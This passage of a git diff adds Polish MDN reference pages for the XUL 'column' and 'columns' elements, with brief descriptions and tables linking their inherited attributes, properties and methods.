<code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIDOMXULControlElement">nsIDOMXULControlElement</a>
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/column/index.html b/files/pl/mozilla/tech/xul/column/index.html
new file mode 100644
index 0000000000..36fdbc2862
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/column/index.html
@@ -0,0 +1,94 @@
+---
+title: column
+slug: Mozilla/Tech/XUL/column
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/column
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Pojedyncza kolumna w elemencie <code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code>. Każdy potomek elementu kolumny jest umieszczony w każdej kolejnej komórce siatki. Kolumna z większą liczbą elementów potomnych decyduje o liczbie wierszy w każdej kolumnie.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Siatki">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p>Zobacz <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code> dla przykładu.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt>Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/columns" title="columns">columns</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/rows" title="rows">rows</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/row" title="row">row</a></code>.
+</dd></dl>
diff --git a/files/pl/mozilla/tech/xul/columns/index.html b/files/pl/mozilla/tech/xul/columns/index.html
new file mode 100644
index 0000000000..1691277a50
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/columns/index.html
@@ -0,0 +1,94 @@
+---
+title: columns
+slug: Mozilla/Tech/XUL/columns
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/columns
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Definiuje kolumny siatki. Każdy potomek elementu kolumny powinien być elementem <code><a href="/pl/docs/Mozilla/Tech/XUL/column" title="column">column</a></code>.
+</p><p>Dodatkowe informacje na temat kolumn są dostępne w <a href="pl/Kurs_XUL/Siatki">kursie XUL</a>.
+</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<p>Zobacz <code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code> dla przykładu.
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
